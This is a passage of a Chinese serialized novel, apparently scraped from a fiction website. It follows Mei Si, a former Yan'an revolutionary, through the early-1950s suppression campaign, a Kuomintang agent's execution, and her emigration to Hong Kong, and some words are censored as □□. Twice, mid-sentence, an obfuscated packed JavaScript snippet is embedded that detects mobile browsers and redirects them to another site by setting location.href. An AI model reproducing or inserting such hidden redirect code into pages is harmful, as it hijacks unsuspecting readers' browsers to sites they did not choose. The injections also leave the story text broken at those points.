这个情景若是拍在电影里,给观众看到,立刻就会联想起国民党的女特务,潜伏在大陆,伺机破坏,配合台湾的蒋军反攻,而此时红色中国镇反的风声紧了,她便赶快毁灭证据,以免给人发现。 然而其实是,褚爱莲烧毁的是梅思的信,就在八月中旬,有一封给梅思的信送到学校,那个时候,褚爱莲刚刚失去职业,原本供职的小公司关门了,与亲戚朋友的往来通信,便暂时都由张宏远那边转交,她是去学校看一看,有没有自己的信。 因为还没有开学,门房静悄悄,传达一个人坐在那里,很是无聊地望着外面,褚爱莲探头问:“顾大叔,有没有我的信?” 传达将嘴唇一努:“都在那里,你找找看,有没有你的?” 桌面上乱糟糟一堆的信,想来一个暑假的邮件都在这里,假期之中也无人来取,褚爱莲便慢慢地一封一封地挑拣,这个时候,外面忽然有人招呼传达:“老顾,来喝两盅!” 是传达的老友,来与他喝酒谈天,老顾答应一声,对褚爱莲说了一句“你慢慢看”,便走到门外,两个人坐在树下便喝酒,还摆上一副象棋,屋子里就只剩下褚爱莲一个人。 褚爱莲本来并没有在意,她与这识字不多的老传达没有太多话可说,幸喜他如今出去了,落得自己独自在这里,更加自在,她便愈发悠闲地找信,翻着翻着,忽然间看到一封,写着“梅思亲启”。 褚爱莲登时微微一蹙眉,这可真的是,人都已经走了,信还写到这里,不由得人不伤感啊,她再一看寄信人,没有姓名只有地址,是从广西寄来,褚爱莲头脑瞬间一转,几乎没有怎样思索,简直是鬼使神差一般,看看左右无人,就把这封信揣在了口袋里,然后强按捺住一颗怦怦直跳的心,快速检索信件,终于找到了一封家信,赶快拿在手里,走出传达室的房门,向老顾和他的朋友打了一声招呼,转头便匆匆回寄宿舍里来。 回到住处,张宏远刚好也回来,褚爱莲也不知是怎样想的,只和他说了自己的家信,等到第二天,张宏远在房间里看书,褚爱莲借故出门,找了一个茶馆,在角落里坐下,打开那封藏在身上的信,从头到尾匆匆读过一边,立时抬起头来望着街边,重重吁了一口气。 天幸这封信落在自己手上,那个叫“钟坤”的人虽然文字含蓄,然而谁让自己也是粗通文墨?他那“败军之将”、“解甲归田”,不用多想便知道是国民党军,看这人是有一定文化的,只怕是个军官,与共军作战失败,回老家另谋生路了。 天啊,梅思怎么居然会和这样一个人有来往?看钟坤信中的口气,两个人显然关系密切,又曾经听宏远说,梅思是有一位表哥的,莫非便是他?褚爱莲是经历过一些世事的,晓得“表哥表妹”往往便是“情人”的隐晦说法,难道梅思竟然与这个人相恋? 褚爱莲摇了摇头,梅思啊,这个人实在复杂,她从前是去过延安的,虽然后来回来了,然而偶尔听她的话头,仍然是倾向共产党一方,最起码是对中共有感情,却又与一个国民党军官关系暧昧,她这到底是怎样一回事?不会觉得乱么? 虽然是有这样的疑惑,然而褚爱莲晓得这封信颇为敏感,决不能让第二个人知道,只是一时却也不能决定要怎样处理,或者自己可以写一封信去,将来信附上,告知那个“钟坤”,梅思已经不在这里,回家乡去了,让他另想办法寻人,这样便免得对方空等,然而想想钟坤的身份,总觉得这样不很妥当。 褚爱莲一时难有决断,便将此事延宕下来,到后来十月份,有风声说要镇压□□,褚爱莲是读过一些史书的,新的王朝开国,总要清算一些旧人,因此她倒是不感觉意外,只是这种情形之下,钟坤的那封信便更加不敢往外拿,连张宏远她都瞒了,就安安静静地藏在自己衣箱的最底层。 到如今十二月了,镇压□□已经不再只是风声,确实是轰轰烈烈展开了,即使是江陵这个小县城,也闹腾得很厉害,到处找国民党的特务,气氛十分紧张,在这样的情况之下,褚爱莲每当想到自己箱底那封信,便觉得仿佛有烙铁烙在心间,坐立不安。 到了今天,褚爱莲实在再不能承受那种压力,趁着张宏远出去了,她闩了门,烧旺了火盆,从箱子底翻出那封埋藏了祸患的信,最后又看了一遍,狠了狠心,丢在火盆之中烧掉了 看着那封信终于烧成了灰,褚爱莲心中默默念着:“梅思,我这样也算帮了你一个忙,如今各处都在说‘揭发检举’,我自然是不肯这样‘立功’,那样实在太对不起人,可是要我留着这封信,也是不能,将来若是给人知道,连你带我,都没有好结果,为了免除后患,不如我今日毁了它。宏远之前嘲笑,说我没有同性之爱,今日我好歹为你做了这件事,省了男人说风凉话,我与你虽然不是刎颈之交,没有那样的壮烈,但能做的我也为你做了。” 镇反的势头越来越猛烈,梅思虽然是那样安慰傅传芳,其实她自己心中也不是很有底,她在延安的资历并不是很深,不过三年时光,然而那一次运动,给她的烙印太过深刻,起初谁也没有想到“□□”会变成那个样子,事情的发展是意想不到的,梅思知道自己过往经历复杂,倘若有心人来挖掘,只怕难免发生风波,而傅传芳的家人则是去了台湾,两个人可以说都是有嫌疑的,然而这种时候,她以为还是不要多说,徒增烦忧而已,反正也没有太多办法,有了事情再应对吧,于是便时时劝慰傅传芳。 就在这样的不安之中,这一年终究过去了,时间进入一九五一年,春节刚过不久,这一天午饭刚过,梅思的家中便来了一位客人,进了门便问:“黄菲,你在么?” 梅思一听这样的称呼,立刻便想到了延安,连忙披了棉袍走出来:“我在这里,是哪位?啊,你是……露云?” 面前站立的女子,似熟悉又似陌生,秀气细致的眉眼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475308|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是陈露云,然而那眉宇之间透露出的坚毅严肃,又让人不能够确定,一时便有些恍惚。 倒是对方望着梅思,笑了一笑:“你果然在这里。好久不见,你还好吗?不请我去屋里坐吗?” 梅思看着她,一时间只顾发怔,听了这句话,这才仿佛有一点如梦初醒:“露云,快请进来坐。” 陈露云与她一起走了进去,站在门内,环顾四面,陈露云道:“想来比你从前住的地方小了许多。” 梅思一笑:“是的,不过这也没什么,当年我们在延安,住的地方比这还要差。” 见她如此坦然,陈露云面露满意之色,笑着说:“我之前是在广东参与土改,可惜是不在这边,不知道你这里的情况,不过即使我在这里,你知道的,组织原则……” 梅思自然明白,土改这件事,是没有人情讲的,牺牲了这么多人才成功的革命,不能够败在个人感情上。 陈露云紧接着便说:“熊晖要我告诉你,江陵小学那件事,她不知道。” 阴差阳错啊,那一回熊晖去龙王庙找黄菲,才得知她已经给辞退,当时大吃一惊,回到荆州,赶快调出来档案,一看那文件,是自己签署,熊晖脑子一转,马上又让人找出之前那一封为庄令粲请求复职的信,一看署名,梅思。 熊晖登时便直拍大腿,连叫“唉哟”,原来如此,黄菲啊,老同学,你上一次怎么不说明?为什么不告诉我你已经改换了名字?结果这边申报辞退“梅思”,我没想到是你,就给批准了,也是我一时疏忽,当时的那封请愿信,怎么就没有看?倘若我看一眼,便不会有此误会,结果如今你没了职业,这可让我怎么说?自己革了自己人的命么? 熊晖心中这个懊悔,十分郁闷,与陈露云通信,便和她说了这件事,还说:“露云,假如你将来有机会见到梅思,记得替我和她解释这件事。” 两广毕竟比邻,露云与黄菲相见的机会比自己要多,况且自己马上就要调去河北了。 陈露云接到了信,一时间也是无话可说,只能将这件事记在心里,预备倘若有机会便向老同学解说,虽说如此,却也没有想到之后真的会再见到黄菲,毕竟新中国刚刚建立,百废待兴,不多久又是抗美援朝,大家都在忙,自己实在抽不出时间特意去桂林,哪知就在今年元旦之后,自己竟然真的调来广西,就在南宁,虽然与桂林有些距离,不过毕竟还算邻近,所以到了南宁之后,把工作理顺,过年之后便来了桂林,到平乐找当地同志一问,找来了曾经的黄家大院,看到自己的老同学如今已经是只住一个小间,很简陋的房屋。 不过看黄菲的神态还平静,要说比起延安的窑洞,这里确实也不算很差,陈露云便想到一些地主阶级的知识分子,平时说自由说平等,同情无产者,头头是道,一遇到土地改革,就都露出了原嘴脸,龇牙咧嘴,满肚子牢骚,这便是“牢骚太盛防肠断”,只顾了心疼眼前的财产损失,就不想一想共和国光明的未来,黄菲毕竟是从延安出来的,比起那些人来,思想境界高了许多。 傅传芳送了茶水来,因为是梅思的客人,她不便多坐,便推说出去买菜,带了宝凝出门,留两个人好好叙旧。 梅思与陈露云多年不见,确实是有许多话要说,这一回比上次见熊晖又有不同,陈露云是特意为了看她而来,时间十分充裕,心情也放松,两个人娓娓谈论,直说了一个下午,到了五点多,傅传芳从外面回来,切肉烧菜,陈露云忙说:“不必忙了,我这就走了。” 傅传芳转头笑道:“啊哟,好容易来一次,哪能这么快就走?好歹吃了饭再去,难道还怕人说是我们贿赂了你?” 陈露云笑道:“嫂子看你说的,我是那么教条的人么?实在是晚上要与人谈工作,所以不得不回去了。” 傅传芳挽留再三,陈露云执意不肯,梅思笑着说:“姐姐,这一次就罢了。露云,下一次再来,一定吃个饭再回去。” 陈露云点头:“好的。” 傅传芳便也不好再留,与梅思一起送陈露云出门来,陈露云还和梅思说着:“这次可惜沈芒还没有过来,他不久也要调来南宁,到那时我与他一起来看你。” 陈露云终究与老干部离婚,沈芒现在是她的爱人,两个人有一个小女儿。 傅传芳送到门口,便回去了,梅思陪着陈露云又往前走,边走边谈,送出来好远,陈露云笑着说:“差不多了,你回去吧,又不是再不能见面,我如今在南宁,往来方便。你先耐心等一等,我刚来这里,工作还不是很熟悉,况且最近情势比较紧张,等过了这一阵,我在南宁给你找个位置。” 梅思摇头:“不必了,我如今自耕自食,也挺好的。” 陈露云冲着她一乐:“何必如此灰心失望?新世界就在眼前,还有许多事情等着我们去做,虽然说劳动没有高下的差别,不过以你的知识水平,倘若一辈子当农民,实在有些浪费,你放心,这一点事情我还是可以办到的。” 梅思望着她,终于吐出了心中的疑问:“露云,你与从前不一样了。” 《从军日记》出现在眼前,“我们的一个生命,就是我们党的一个细胞” 陈露云听了这句话,刹那心中也是一动,沉吟了一下,说道:“那一次□□,段首长对我说了一句话,‘革命不是投机,容不得三心二意’。” 梅思于是恍然,在革命这个大熔炉之中,陈露云终究给锻炼得纯粹。 54.第五十四章 最后的会面 第五十四章 最后的会面 这一场镇反,并不是凭空发起,确有其原因,也的确有了实效,全国各地抓捕了许多国民党潜伏大陆的特务,其中有一个人,就是孙定康。 五月里,孙定康给关押在黑乎乎的牢房里,望着狭小的窗口,平生过往一幕幕从头脑中闪过,如同放电影一样,蒋总统失败,军统安排自己潜伏下来,虽然知道这是一件万分艰险的事情,然而为了效忠党国,自己还是答应了,不答应反正也是不行的,于是便改名江成东,离开广西到了福建,在一家工厂当普通工人,伺机有所行动,本来一直隐蔽得很好,哪知却倒霉在了有文化上。 有一次开大会听领导讲话,会后大家发表感言,自己说了一句“首长真是平易近人”,那个中共的干部也不愧火里血里过来的,斗争经验丰富,当时就听出了端倪,这一帮子普工多是大老粗,即使认得几个字,能粗略看看报纸,却哪能说出这么文绉绉的话来?不过说一句“为人和气”也就完了,幸好他没说“如沐春风”,那文采就更盛了。 那位干部当场不露声色,回头便让人调查自己的根底,这一查果然便查了出来,家乡住址全是假的,当地根本没有这样一个人,于是便晓得是潜伏的谍报人员,公安机关迅速抓捕,便把自己逮了进来,一番审讯,强大的压力之下,自己不得不全说了,然后就是判刑,这个时期抓获的国民党特务,自然是重判,于是就定了个死刑。 执行的日子不远了,此时孙定康回想着往事,想到当年自己从谍报学校毕业,意气风发,一心为党国尽忠,报效国家,之后在工作之中,看到了许多事情,虽然也有过失落,不过不改初衷,然而即使自己如此为党国尽力,国民政府却依然是败了,自己本来是以为肩负重任,长期坚守,以图将来,哪知却因为一个大意,暴露了,党国的事业自然有损,自己的性命却也完结了,想到这里,纵然他秉性顽强,却也不由得一阵沮丧。 孙定康想这想那,脑海中忽然掠过一个窈窕的身影,一张秀美的面孔在眼前不住地晃,挥之不去,也不知她现在怎么样了啊,她的经历很是复杂,在这样的时代大潮之中,能保无事么?或者自己也是多虑,以她的聪明,可能早已经走了的,她又十分能干,到了香港澳门,也不愁没有饭吃,倒是躲开了这一场风雨。 想了一阵,孙定康忽然间感到好笑,自己这是怎么回事?监视了对方那么一阵,竟为了一个赤化分子转了心性,居然念念不忘,何其的诡异,莫非无论是对什么人,只要注视得久了,感觉终究会发生改变?自己当初真的是认真监视,一丝不苟的,投入了许多的精神,一心立功,想要在对方身上打开缺口,然而到了最后,自己的心也有了一丝裂缝,或许是自己所受的训练还不够精粹,否则怎么会对嫌疑分子发生特别的感觉?竟然有了人情味。 孙定康正在嘲笑自己,蓦地又想起一个人,轻轻摇了摇头,倒也不能只是责备自己,那个国军上尉显然也是为她而倾倒,看着很是年轻有为的一个人,虽然只说了几句话,也看得出颇有修养,假如把握得好,应该还是很有前途的,怎么就为了这么一个女□□动了心?这可真是活见鬼了,难怪中共能得天下。 他正在这么想着,忽然“咣当”一声,牢门打开,一个公安战士站在门前喝道:“孙定康,出来!” 孙定康慢慢站起身,走了出去,来到门前,已经等在那里的几个战士便把他五花大绑,押了出去,孙定康心中暗叫一声:“来了,就是今天了!” 在这样的浪涛之中,慢慢地就到了十月,外面的风浪终于渐渐平静,梅思的家中一片悲哀,久病的瑞成终于再拖不下去,死去了。 简单地安葬了瑞成,梅思与泪痕不干的傅传芳商议:“姐姐,以后要怎样办?” 傅传芳擦拭着泪水,长吁短叹:“唉,还能怎么样?不如到台湾去吧。妹妹,我知道你的心,不肯过去那边的,只是这边我这两年看着,着实也住不安稳,我是心惊胆战啊。我晓得过去台湾,日子恐也艰难,但毕竟我一家人都在那里,多少有个照应,在这里只有你我……” 梅思点了点头:“姐姐,我明白的。” 在台湾,是一大家子人,在平乐,是只有自己与嫂子,宝凝还小,不济事,姑嫂两个算是彼此扶持,“相依为命”写在文章中真挚感人,然而景况实在凄凉,太难了,从前傅传芳没有走,一是瑞成病体沉重,二也是想要观望一下,到如今已经看得差不多了,心惊肉跳,所以傅传芳去意已决,这倒是原不怪她,即使是自己,也有离去之心。 于是梅思便道:“姐姐,我也想要走了,只是不去台湾,我想去香港,从这里到香港,可以伴姐姐一程。” 听了她的话,傅传芳一阵欢喜:“妹妹啊,你的这个主意很是明智,你去台湾,也是不相宜的,就在香港蛮好,从台湾到香港,想来容易,我们若想要见面,不是那么山遥水远,咫尺千里的。” 两个人就此说定,很快便开始了行动,向政府提出要去香港与亲人团聚,于是便要审核,到了十二月下旬,终于获得了批准,于是便打点行装,准备启程。 五二年的元旦是仓促庆祝,潦草过节,不多几日便要走了,就在三号这一天,两位客人联袂而来,是陈露云和沈芒。 九年不见,沈芒愈发稳重了,戴了一副圆圆的黑框眼镜,浓浓的知识分子干部气息,一见到梅思,他便伸出手来:“黄菲同志,好久不见了。” 握手很是用力。 大家坐下来谈话,陈露云劈面便问:“黄菲,为什么要离开?” 黄菲慢慢地说:“为了要家人团聚,你知道我……” 陈露云毫不客气地一摆手:“你不要拿糊弄别人那一套来应付我,我知道不是这样的。” 黄菲在香港有什么亲人?她的那个霸主爹么?黄菲的母亲已经过世,哥哥新近也没了,去香港的只有她父亲,另外就是姨太太,还有姨太太的儿子,黄菲对那些人向来没什么感觉,当年投奔延安,就是为了痛恨自己的爹,痛恨这个腐朽的封建家庭,所以她如今怎么会为了去见什么亲人,而申请去香港?本地公安不了解底细,自己可是知道的,虽然并不打算去戳破。 只是今天,陈露云一定要问个清楚。 黄菲望着她,终于说道:“之前有桂林的小报编造谣言,用我的名义污蔑延安,前一阵给人翻了出来。” 这一场镇反啊,真的是相当的彻底,各人的底细给揭了个底朝天,有人便揭发黄菲,从前在小报上发文章,抹黑延安,本地公安便叫黄菲过去问话,黄菲给人迎头一问,虽然当时震惊,不过倒并没有太过慌张,从容不迫地回到家中,取出珍藏的那一份《广西日报》,指给公安看:“我那时就发了声明,讲清不是我。” 因为有这样一份有力的证据,公安又审查了一番,终于不再怀疑黄菲。 陈露云面色一松:“原来如此,这件事我之前也听说了,你本来无辜,也难怪你委屈,不过如今毕竟已经了结了,政府相信你的清白,对你是公正的,何必还是要离开呢?党是不会冤枉好人的,大浪淘沙,最后会显露出真金,你安心留下来,新中国建设需要你这样的人才,我已经替你安排好,去学校教速记,你当年那么热爱速记,这些年想来也没有丢下。” 先前就已经决定,然而当到平乐来调黄菲的档案,当地却说正在审查这个人,有特嫌,于是暂时只得罢了,前不久得知,黄菲的案件已经结案,陈露云正想着把之前的计划实现,哪知却传来黄菲申请赴香港的消息,当时陈露云就很是吃惊,想要立刻来看看,却因为工作忙,一直拖延到今天。 好在她晓得,去香港的通行证不是那么容易批准,香港如今是英国人的地方,去那里等于是出国了,在如今的中国,国内出门都要介绍信,更何况是去国外,因此等到此时方才来平乐,见梅思果然还没有离开。 梅思两只眼睛幽幽地看着她,露云啊,已经是一个彻底的共产党人。 片刻之后,梅思说道:“然而我对于自己,没有这样的信心。” 建国刚刚三年,已经有这样多的风波,自己不是一个很坚定顽强的人,后续只怕还有风浪,料想自己是禁受不起的。 陈露云皱眉摇头:“黄菲,你太悲观了,对革命早已丧失了信念,历史已经证明,正义终将胜利。你这个样子持续下去,只会是个人的沉沦,对国家民族也并没有好处。” 梅思道:“我不会沉沦的,但我有自己的道路要走。” 眼看这两个人便争论起来,沈芒在一旁连忙打圆场:“好了,露云同志,人各有志,这个也不能勉强,黄菲虽然是要去香港,不过革命工作并不是只在中国,香港也多是劳苦大众,只要有心,到哪里都可以为人民服务的嘛。啊,黄菲,一看到你,我就想到了景斌,一转眼,他已经牺牲这么多年了,这些年我时不时就会想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482696|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,可惜那么有才华的一个人啊,倘若他能够活到这个时候,该能够为新中国写出多少优秀的作品呢!他一定会是文艺战线一个出色的战士。” 他这样一提起景斌,房间内的气氛便由方才的激烈转为了沉重,陈露云叹道:“是啊,革命到现在,终于胜利了,这个过程中,我们牺牲了多少好同志啊!” 梅思不由得红了眼眶。 沈芒望着她,不由得又说:“他这样年纪就逝去,都没有留下后人,也是很让人遗憾的。” 景斌牺牲的时候太过年轻,还没来得及结婚生子,就倒在了抗战前线,以至于没有后代延续他的血脉,更不能延续他的文学事业,让人倍感唏嘘,本来黄菲是可以的,然而她与景斌是地下恋情,没有给组织批准的,结婚更是奢谈,否则当年的那个孩子,是可以生下来的,那似乎是一九四二年的事,倘若那个孩子果然存在,到如今便有十岁了,是烈士的孩子呢,一定会得到政府的重视。 而黄菲便是烈士的遗属,绝不会是现在这个样子,一切都只因为当时没能结婚,不然的话,当年景斌刚刚牺牲的时候,她就会得到组织特别的关怀,英雄的妻子嘛,领导会慰问的,遇到什么难处,提起景斌,旁人也会格外同情,可是黄菲在当时,与景斌的关系是不能公开的,连写关于景斌的文章,都很尴尬,倘若有报告会,她也是不能出面去演讲的,毕竟是以什么身份去说话呢?为了爱情,她付出了这么大的代价,却半点好处也没能得到。 这样的想法虽然似乎有些功利,太斤斤计较于个人得失,不过黄菲确实冤得慌,沈芒便也不由得这样去替她计算,那本来是她应得的。 三个人就这样谈论了好一番,沈芒把话题引到最喜爱的文学方面,普希金、泰戈尔、阿赫玛托娃,梅思的情绪逐渐平静,也谈着张爱玲、沈从文、萧红。 忽然之间,沈芒转头望向窗外:“你看,太空是多么的幽邃啊,时间的长流又是那样的没有尽头,在这样无垠的时间与空间之中,个人只是一点微尘,何其的渺小啊,作为人所认为的惊天动地,对于宇宙来讲,不过是分子原子的波动吧。” 陈露云终于找到机会插话:“你这是虚无主义,颓废主义。” 沈芒默然片刻,把头转回来,问道:“什么时候过去那边?” 梅思说:“一月五号。” 陈露云默然不语,就是后天了啊。 因为是最后一次见面,陈露云与沈芒当天在这里吃晚饭,晚饭之后又谈,直到深夜方才离去。 分别的时候,梅思也很是怅然,想到今后只怕难再见,于是深一脚浅一脚送出去好远,三个人一边走,一边谈从前的事,谈延安,谈旧相识,张朝旭与姚鹏结婚,姚鹏牺牲在抗战之中,张朝旭则是解放后为土匪所杀,潘岳荣抗战之中失踪,十有八九是遇害,何敏修进了经济部门,高明霖去了外交部,麻德芳伤残了,已经休养在家,段葵芳自从那一次意外怀孕,好容易回到工作之中,到现在都咬牙切齿。 这些事情,虽然有一些之前已经知道,然而这个时候再讲起来,依然能激起人的情感,是另一种很特别的感触。 黑夜里不知走出去多远,在陈露云和沈芒的劝阻之下,梅思终于停下了脚步:“好吧,就到这里了,我们有缘再见。” 黑暗之中,陈露云明亮的双眼望着她,问道:“黄菲,我一直很想问你,当年那样毅然决然离去,是否有后悔?” 九年前黄菲那种决绝的态度,在当时是很令人触动的,几乎要发生一种敬佩,只是如今再回首往事,味道便改变许多。 梅思的视线投入沉沉的漆黑之中,沉默片刻,这才说道:“露云,我想,可能我们那时候都太年轻了,这一场革命并不纯粹。” 有许多在奔向延安之前,并没有想到的事情,如今回首,恍若一梦。 陈露云当即反问:“在这个世界上,究竟有多少事情是纯粹的呢?” 这么多年过去,陈露云说起话来,早已不再是过去的风花雪月。 梅思慢慢说道:“也可能是这样吧。” 世上或许本来就没有纯粹的事,比如自己,即使当年留在延安,坚持下来,也并不是因为革命意志坚定,只是因为那个之前逃离的世界,实在腐朽危险。 话谈到这种程度,双方都感到没有必要再说,于是陈露云挥了挥手,转身上了车,那辆吉普车之前一直遥遥地跟在她们身后。 55.第五十五章 她在香港追求职业 第五十五章 她在香港追求职业 这一向实在是紧锣密鼓,梅思与傅传芳打点好行李物品,粗重东西都不要了,一些小件物品带不走,便尽力卖了换钱,中间抽空匆匆辞别亲朋,元月五号周六这天,背着背包提了皮箱,便去了车站,先到桂林,然后从桂林乘火车去广州,又从广州坐船去了香港。 站在甲板上,手扶着船栏,望着前方逐渐远去的陆地,梅思心头一阵怅然,自己的人生,仿佛就是不断的抛弃,起先抛弃了黑暗冷酷的旧家庭,奔向延安,之后放弃了延安,回来旧世界,到现在又舍弃了新的中国,去往陌生的香港,自己是很想有一个快意的人生,然而命运却是如此的迂回,看似每一次都很决绝,有一种报复般的爽快,然而其实却是无奈,《虹》里面的梅行素啊,又哪里真的能够我行我素呢? 到了香港,先要找住的地方,两个人之前便已经计划好,要去住女青年会,是基督教的一个组织。 这还得多亏了白太太白明珠,她随着丈夫加入了基督教,去过几次教堂,与人谈论教内事务,便有了感想,惆怅在桂林没有女青年会,“到底广州更排场些,有女青年会”,倘若桂林也有这样一个女性组织,她便很希望能够加入,“在那里作一个干事,也便可以在社会上做一些事情”。 当年梅思听在耳中,便记在了心里,哪知今日竟然真的用到了,来到香港,先找女青年会,她们之前对香港并无了解,不晓得这里是否有这样一个组织,只是想着既然广州是有的,香港更加繁华,或许也会有吧?倘若真的有,起码可以提供短期住宿的地方,土改已经分掉浮财,如今手边的财物所剩不多。 女青年会的住宿费用是极低廉的,一时间很可以省钱,到了这里,傅传芳的心稍稍安定下来,当天晚上不顾疲倦,便在灯下给亲人写信,预备第二天寄去台湾,宝凝洗了澡之后,早早就睡了,梅思则是手托着腮,安安静静坐在一边,视线凝固在一点,仿佛在发呆。 到了深夜十点多,傅传芳写好了信,装在信封里封了口,抬头一望对面的梅思,噗嗤便是一笑:“妹妹,你出什么神哩?” 梅思给她这一句话唤回,如梦初醒一般,定了定神,然后微微笑道:“姐姐,我是在想,香港与广州只是一水之隔,然而却很不一样。” 只隔一条深圳河,风情便大为不同了,今天在街头,虽然只是匆匆而过,可是梅思向来很细心地观看周边,纵然是初到,可是香港给她一个印象,依然是民国的气息,外界天翻地覆,这里的时光却仿佛凝结了一般,仍旧循着原先的步调,在广州街边走着的戴着红领巾的小学生,在这里是见不到的。 昨天一月七号是周一,姑嫂在广州报备通关,回来的路上便看到了一群午间散学,家去吃中饭的学生,脖颈上都佩戴着鲜红的领巾,叽叽喳喳高声又说又笑,还有人唱起歌来: “我们新中国的儿童 我们新少年的先锋 团结起来继承着我们的父兄 不怕艰难不怕担子重 为了新中国的建设而奋斗 学习伟大的领袖□□……” 旁边他的同学便笑着推他,嘲弄他,大略是说,明明已经下课放学,老师不在眼前,为什么还要唱这个? 那时梅思瞬间便感到,这些年少的学生,“确是革命的‘少年先锋’”。 而到了香港,明明距离并不遥远,这些却全都看不到了,那是自然啊,香港是英国的租借地,英国人的香港总督自然是不会让共产党的先锋队在这里出现,英美这些老牌资本主义国家,防范共产主义如同防备洪水猛兽。 听了梅思的感想,傅传芳重重地吐出一口气:“阿弥陀佛,我可是离了那个地方,每天担惊受怕啊,这里虽然是英国人的地方,起码让人安心些,我如今也不想太多,管他什么英国人美国人,只要能让我过几天安生日子便好,让宝凝平平安安长大成人,便心满意足。” 梅思一笑,没有再说什么。 之后等待台湾回信的几天,梅思与傅传芳便带着宝凝到街上逛逛,每次回来,都会买一份报纸,回到女青年会,梅思坐在那里,别的且不管,最先看的是广告这一版,专门看哪家公司工厂请人去做事。 十天之后,家信果然来了,傅传芳大喜,展开来一读,转过头来笑吟吟地便对梅思说:“妹妹,父亲母亲要我们过去呢,先住在家中,慢慢再想办法,要你也一同去,你看如何?” 梅思把头一摇:“姐姐,你知道我的,我不能去。” 傅传芳把信放在桌面上,叹息一声:“我就知道是这样,你的性子着实执拗,已经到了这个时候,还这样守着,只是你也要看一看现实,这几天也见识了香港,生活不是很容易,你到处谋职,却无回音,长此以往,要怎么样呢?不如就一起去台湾,纵然去了那里,也不过是谋生活,并不是就投靠了国民政府,也不等于改变你的信仰,其实在香港与在台湾,又有多大的不同呢?” 要说自己的这个妹妹,实在堪称“贞洁烈女”,只不过她的这个守贞,不是为了某个男人,而是为了信念,到现在还对中共念念不忘,纵然人离了红色中国,心也还眷恋那边,如今宁可住在香港,也不往台湾去,其实一个是殖民地,一个是白区,都是中共反对的,选哪边住又有什么区别呢?莫非在香港,便更对得起共产党? 在香港,谋生不易,况且举目无亲,虽然家公一家在这里,然而傅传芳晓得妹妹决不会去投奔的,在这一点上,她就好像萧红,“我不愿受和我站在两个极端的父亲的豢养”,更何况纵然妹妹愿意屈膝,傅传芳以为,这种屈服也是无用,黄老爷那个人,六亲不认,向来就不喜欢小妹,对婆母卢兰玉这一脉都毫无感情,以至于临逃亡香港,还要抢夺正室的陪嫁,这种时候要感动他的血脉亲情,希望实在渺茫。 黄老爷啊,离开了桂林,就如同蛟龙离了海,不得施展,香港虽然有点像从前的上海,野心家的乐园,只可惜未必适合他,况且年纪又大了,再难有所作为,这种情形之下,傅传芳揣度,黄老爷要自保都为难,更何况帮助女儿。 所以傅传芳之前在家信中特意说,小姑与自己一起来香港,这些年多承婆母爱惜,小姑帮衬,这两年更是姐妹两个扶持着度过,如今小姑也是飘萍,将来不知如何,虽然没有明言,因为还不知小姑的意思,不过文字之间探询家人的态度是很明显的。 果然,父母“闻弦歌而知雅意”,看懂了自己信中所言,回信中便说邀请妹妹同去,毕竟是一家人,患难之中但凡能够,理应援手,于是这时候傅传芳便与梅思说了,很希望她能够一同去台湾。 不过纵然傅传芳很是恳切地劝说,梅思想了一下,还是摇头婉拒了:“姐姐,让我再坚持一下,倘若后面实在无法,便去投奔伯父伯母,还有姐姐。” 傅传芳暗叹,看来是不成了,妹妹的本领她知道,妹妹的性格她更了解,倘若真的找不到合适的职业,只怕妹妹宁可去工厂,当一个女工,以解眼前之急,也是不肯去台湾的。 既然与家里通了音信,傅传芳在港岛便不肯多停留,第二天买了船票,第三天预备动身去香港,临别的前一晚,姐妹两个难舍难分,梅思拿出一个小小的手绢包,塞给了傅传芳:“姐姐且把它留在身边,以备急需。” 傅传芳打开一看,是一枚宝石帽花,黄金的底座,十几只红宝石和翡翠镶嵌在上面,还有许多珍珠,这一只帽花,着实名贵得很。 宝石的光刺人的眼睛,傅传芳心中乱跳,实在意动,定了定神,却仍然把帽花还给梅思:“妹妹实在有情,不过这帽花,你还是自己留起来,我纵然囊中不丰厚,在那边毕竟还有亲人,你一个人在这里,多一点钱财傍身,才更牢靠。” 梅思笑道:“姐姐放心,我应该很快就可以找到事情做,到那时就可以养活自己,我毕竟只是一个人,凡事好说,不比你还带着宝凝,只怕宝凝将来要用钱,虽然有亲人在台湾,不过这种时候大家都难,姐姐还是多留一点东西在身边。” 两个人好一番推让,最后傅传芳终于含泪收下了帽花,次日二十一号,梅思与傅传芳在码头洒泪分别,宝凝抱住梅思的腰,连声说着:“姑姑一定要去台湾看我们!” 梅思答应了一声,心中却想,那还不知要到什么时候。 送别了傅传芳与宝凝,梅思回来女青年会,加紧找工作,虽然住宿花费低廉,然而其它也要花钱,职业不能一 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姐姐离去不久,便是中国旧历的新年,这个时候只剩下自己一个人住在女青年会,除夕夜独对孤灯,不由得便在日记本上写下这样几句话,“雨是这般不住地下,风儿更吹得刮刮有声,薄薄的被儿,冷得我欲眠不得,只好重对孤灯,在这儿再噜嗦一顿”。 不是自己的创作,而是引用了谢冰莹,大革命失败后,谢冰莹寄居南京,冷雨寒灯的夜晚,写下了这样的文字,就在除夕,香港的细雨之中夹着雪粒,极细极细的小雪粒,文辞之中是叫做“霰”的,“月照花林皆似霰”,是张若虚的名句,然而眼前的情境却没有那样的优美,就在当时,自己坐在板床上,裹着薄薄的被子,只觉得无限凄凉。 